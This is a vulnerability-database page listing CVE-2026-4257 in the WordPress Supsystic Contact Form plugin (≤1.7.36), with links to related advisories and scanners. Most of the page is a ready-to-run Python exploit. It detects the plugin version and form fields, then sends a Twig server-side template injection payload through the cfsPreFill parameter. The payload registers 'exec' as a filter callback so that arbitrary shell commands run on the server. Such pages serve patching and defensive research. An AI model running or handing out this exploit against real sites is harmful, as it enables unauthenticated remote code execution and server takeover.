Lucene search
K

WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI

🗓️ 14 May 2026 00:00:00Reported by bootstrapboolType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

SSTI exploit targets WordPress Supsystic Contact Form plugin up to version 1.7.36, CVE 2026-4257.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-4257
18 Apr 202619:39
githubexploit
GithubExploit
Exploit for CVE-2026-4257
11 May 202605:24
githubexploit
ATTACKERKB
CVE-2026-4257
30 Mar 202621:26
attackerkb
Circl
CVE-2026-4257
30 Mar 202622:20
circl
CNNVD
WordPress plugin Contact Form by Supsystic 代码注入漏洞
30 Mar 202600:00
cnnvd
CVE
CVE-2026-4257
30 Mar 202621:26
cve
Cvelist
CVE-2026-4257 Contact Form by Supsystic <= 1.7.36 - Unauthenticated Server-Side Template Injection via Prefill Functionality
30 Mar 202621:26
cvelist
EUVD
EUVD-2026-17239
31 Mar 202600:31
euvd
Metasploit
Supsystic Contact Form Wordpress Plugin SSTI RCE
26 May 202619:01
metasploit
Nuclei
WordPress Contact Form by Supsystic - Server-Side Template Injection
7 Jun 202603:02
nuclei
Rows per page
# Exploit Title: WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI
# Date: 3/30/2026
# Exploit Author: bootstrapbool
# Vendor Homepage: https://supsystic.com/plugins/contact-form-plugin/
# Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/
# Version: <= 1.7.36
# Tested on: Ubuntu 24 and Windows 10
# CVE : CVE-2026-4257


import argparse
import base64
import re
import requests

class status:
    OKGREEN = "\033[32m"
    WARNING = "\033[33m"
    FAIL = "\033[31m"
    ENDC = "\033[0m"
    NOCOLOR = False
    VERBOSE = False

    @classmethod
    def print(cls, message: str, status: str = None):

        if cls.NOCOLOR:
            print(message)
            return

        match status:
            case "FAIL":
                print(f"{cls.FAIL}{message}{cls.ENDC}")
            case "WARNING":
                print(f"{cls.WARNING}{message}{cls.ENDC}")
            case "SUCCESS":
                print(f"{cls.OKGREEN}{message}{cls.ENDC}")
            case _:
                print(message)

    @classmethod
    def vprint(cls, message: str, status: str = None):
        if cls.VERBOSE:
            cls.print(message, status)

def get_page(url: str) -> str:

    try:
        res = requests.get(url)
        res.raise_for_status()
    except requests.excpetions.RequestException as e:
        status.print(f"Request to {url} failed with {res.status_code}")
        exit(1)

    if res.status_code != 200:
        status.print(f"Got {res.status_code} for request to: {url}", "WARNING")

    return res.text

def get_version(body: str) -> str | None:
    pattern = r'suptablesui.min.css\?ver=([0-9\.]+)'

    match = re.search(pattern, body)

    if match:
        return match.group(1)

def is_vulnerable(version: str) -> bool:

    try:
        major, minor, patch = map(int, version.split("."))
        return (major, minor, patch) <= (1, 7, 36)
    except:
        status.vprint(f"Failed to parse version.", "WARNING")

def detect_version(body: str):
    version = get_version(body)

    vulnerable = is_vulnerable(version)
    if vulnerable:
        status.vprint(f"Detected version {version} is vulnerable.", "SUCCESS")
    elif vulnerable != None:
        status.vprint(
            f"Detected version {version} is not vulnerable.",
            "WARNING")

def detect_fields(body: str) -> list[str] | None:
    """Automatically attempt to get Contact Form fields to use for SSTI"""

    pattern = r'data-name="([^"]+)"'

    field_names = list(set(re.findall(pattern, body)))

    if field_names:
        status.print(f"Detected fields: {field_names}", "SUCCESS")
        return field_names

def handle_field(body: str, field: str | None) -> str:

    if field:
        return field

    fields = detect_fields(body)

    if fields is not None:
        status.vprint(f"Using automatically detected field: {fields[0]}")

        return fields[0]

    status.print("Failed to detect fields.", "FAIL")
    exit(1)

def get_output(field: str, body: str) -> str | None:

    pattern = rf'name="fields\[{re.escape(field)}\]"\s+value="([^"]+)"'
    match = re.search(pattern, body)

    if match:
        return match.group(1)

def exploit(url: str, payload: str, field: str) -> str | None:

    utf8_var = "{%set a%}UTF-8{%endset%}"
    base64_var = "{%set b%}BASE64{%endset%}"

    twig_payload = "{%set p%}" +  base64.urlsafe_b64encode(payload.encode('utf-8')).decode('utf-8') + "{%endset%}"

    # The () ensures the variables are not treated as string literals
    twig_payload_decode = "{%set p = p|convert_encoding((a), (b))%}"

    register_callback = "{%set e%}exec{%endset%}{{_self.env.registerUndefinedFilterCallback(e|lower)}}"

    exec_filter = "{{_self.env.getFilter(p)}}"

    ssti_payload = utf8_var + base64_var + twig_payload + twig_payload_decode + register_callback + exec_filter
    status.vprint(f"Payload: {payload}")

    params = {
        "cfsPreFill": 1,
        field: ssti_payload}

    try:
        res = requests.get(url, params)
        res.raise_for_status()
    except requests.excpetions.RequestException as e:
        status.print(f"Request to {url} failed with {res.status_code}")
        exit(1)

    if res.status_code != 200:
        status.print(f"Got {res.status_code} for request to: {url}", "WARNING")

    return get_output(field, res.text)

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--field",
        type = str,
        help = ("Valid field part of the Contact Form. The defaults are "
            + "first_name, last_name, subject, message, and email. Though it's "
            + "possible for none of these fields to appear. Not all field types"
            + "work. The tested field types that are confirmed to work are"
            + "Text, Textarea, Number, Email, Time, and URL. Buttons do not "
            + "work."))
    parser.add_argument(
        "--no-color",
        action = "store_true",
        help = "If you dont want pretty colors in your output.")
    parser.add_argument(
        "--verbose",
        "-v",
        action = "store_true")
    parser.add_argument(
        "url",
        type = str,
        help = ("Full URL to page with vulnerable Contact Form component. " \
            + "Ex: http://localhost:4444/sample.php"))
    parser.add_argument(
        "payload",
        type = str,
        default = None,
        help = ("Shell commands to be executed."))

    args = parser.parse_args()

    status.NOCOLOR = args.no_color
    status.VERBOSE = args.verbose

    body = get_page(args.url)

    detect_version(body)
    field = handle_field(body, args.field)

    output = exploit(args.url, args.payload, field)

    if output:
        if output.lower() == field.lower():
            status.print(
                "Output is same as field. Maybe try a different field?",
                "WARNING")
        status.print(output)
    else:
        status.print(
            f"Failed to extract output with field '{field}'",
            "FAIL")

if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 May 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.8
EPSS0.86931
SSVC
40